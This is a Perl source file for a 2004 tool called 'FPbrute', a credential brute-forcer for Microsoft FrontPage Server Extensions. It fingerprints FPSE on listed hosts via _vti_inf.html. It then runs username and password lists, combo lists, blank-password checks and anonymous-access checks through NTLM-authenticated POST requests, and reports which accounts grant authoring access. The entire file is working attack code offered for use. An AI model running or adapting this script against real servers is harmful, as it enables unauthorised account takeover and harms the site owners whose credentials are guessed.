#!/usr/bin/perl
#
#
# FPbrute.pl
#
#####################################################################
#    m0j0.j0j0 M$ FrontPage Brute Forcer
#
#####################################################################
#
#	01/23/2004
#
#	Check for anonymous FPSE access / brute force accounts
#	Based (loosely) on a script by: Mark Burnett (mb@xato.net)
#
#	Need LWP::Authen::NTLM
#
# Make sure you have the Authen::NTLM module by Mark Bush. CPAN has two different modules.
#

#use LWP::Debug qw(+);
use LWP::UserAgent;
use Getopt::Long;

my $VERSION = "0.3";
my $anon = 0;
my $nopass = 0;
my $ssl = 0;

GetOptions (
   'hostlist=s'	=> \$hostFile,
   'host=s'			=> \$host,
   'userlist=s'	=> \$userFile,
   'username=s'	=> \$username,
   'passlist=s'	=> \$passFile,
   'password=s'	=> \$password,
	'combo=s'		=> \$comboFile,
	'domain=s'		=> \$domain,
   'anon'    		=> sub { $anon = 1 },
   'nopass'    	=> sub { $nopass = 1 },
   'ssl'        => sub { $ssl = 1 },
);
                                                                                                           
print "\nm0j0.j0j0 M\$ FrontPage Brute Forcer\n\n";

if ( !( (defined($hostFile) xor defined($host)) && 
   ( ((defined($userFile) xor defined($username)) &&
     ((defined($passFile) xor defined($password))) || $nopass) ||
     $anon || defined($comboFile) ) ) ) {

   print "FPbrute V. $VERSION\n";
   print "Usage:\n";
   print " $0\n";
   print "   --hostlist <IP Address file> [OR]\n";
   print "   --host <IP Address>\n";
   print "   --userlist <username file> [OR]\n";
   print "   --username <username>\n";
   print "   --passlist <password file> [OR]\n";
   print "   --password <password>\n";
   print "   --combo <combo username/password file>\n";
   print "   --anon [Anonymous connection check]\n";
   print "   --nopass [Blank password]\n";
   print "   --ssl [HTTPS]\n";
	print "\n\n";
   exit(1);
}

#####################################################################
#  MAIN:
#

if ( defined($host) ) { push @hostList, $host; }
else {
	open(HAND, $hostFile) || die("Failed to open: $hostFile $!");
	@hostList=<HAND>;
	close(HAND);
}

if ( defined($username) ) { push @userList, $username; }
elsif ( defined($userFile) ) { 
	open(HAND, $userFile) || die("Failed to open: $userFile $!");
	@userList=<HAND>;
	close(HAND);
}

if ( defined($password) ) { push @passList, $password; }
elsif ( defined($passFile) ) {
	open(HAND, $passFile) || die("Failed to open: $passFile $!");
	@passList=<HAND>;
	close(HAND);
}

if ( defined($comboFile) ) {
	open(HAND, $comboFile) || die("Failed to open: $comboFile $!");
	@comboList=<HAND>;
	close(HAND);
}

foreach $host (@hostList) {
	chomp($host);

	my $domtmp;	
	if ( !defined($domain) ) { $domtmp = $host; }
	else { $domtmp = $domain; }

	my ($ret, $ver, $author, $server) = &chkFP($host);
	print "Host: $host ($server)\n";
	if ($ret) { print "\tFPSE: Version ($ver) - Author ($author)\n"; }
	else { print "\tFPSE Not Found.\n"; next; }

	if ($anon) {
		my ($ret, $msg) = &chkUser($host, $ver, "", "", ""); 
		print "\tAnonymous Check: $msg \n";
	}

	foreach $user (@userList) {
		chomp($user);
		foreach $pass (@passList) {
			chomp($pass);
			my ($ret, $msg) = &chkUser($host, $ver, $domtmp, $user, $pass); 
			print "\tUser Check [$domtmp\\$user & $pass]: $msg \n";
		}
		
		if ($nopass) {
			$pass = "";
			my ($ret, $msg) = &chkUser($host, $ver, $domtmp, $user, $pass); 
			print "\tUser Check [$domtmp\\$user & $pass]: $msg \n";
		}
	}

	foreach $combo (@comboList) {
		my ($user, $pass) = split /:/, $combo;
		chomp($user,$pass);
		my ($ret, $msg) = &chkUser($host, $ver, $domtmp, $user, $pass); 
		print "\tUser Check [$domtmp\\$user & $pass]: $msg \n";
	}
}
exit(0);


#####################################################################
#  FUNCTIONS:
#

sub chkFP($) {
	# my $host = $_[0];

	my $ua = LWP::UserAgent->new(env_proxy => 1, keep_alive => 1, timeout => 3);
	if ($ssl) { $req = new HTTP::Request GET => "https://$host/_vti_inf.html"; }
	else { $req = new HTTP::Request GET => "http://$host/_vti_inf.html"; }
	$req->user_agent('MS-FrontPage/4.0');
	my $res = $ua->request($req);
	my $server = $res->headers->header('Server')||'Unknown';

	my $ret=0, $ver=0; $author=0;
	if ($res->is_success) {
		$ret = 1;
		($ver) = $res->as_string =~ /FPVersion="(.*)"/;
		($author) = $res->as_string =~ /FPAuthorScriptUrl="([^"]*)/;
	}

	return($ret, $ver, $author, $server);
}


sub chkUser($) {
	my ($host, $ver, $domain, $user, $pass) = @_;

	my $ua = LWP::UserAgent->new(env_proxy => 1, keep_alive => 1, timeout => 3);
	$ua->credentials("$host:80", "", "$domain\\$user", $pass);
	if ($ssl) { $req = new HTTP::Request POST => "https://$host/$author"; }
	else { $req = new HTTP::Request POST => "http://$host/$author"; }
	$req->content_type('application/x-www-form-urlencoded');
	$req->user_agent('MS-FrontPage/4.0');
	$req->content("method=open+service:$ver&service_name=/");
	my $res = $ua->request($req);

	my $ret = 1, $msg = "*** Access Allowed ****";     
	if ( !($res->is_success) ) {
		$ret = 0;
		if ($res->code==401) { $msg = "Password protected"; }
		elsif ($res->code==403) { $msg = "Authoring is not enabled"; }
		elsif ($res->code==404) { $msg = "FPSE are not properly installed"; }
		else { $msg = "Unknown"; }
		$msg = $msg . " (CODE:" . $res->code . " : " . $res->message . ") ";
	} 

	return ($ret, $msg);
}
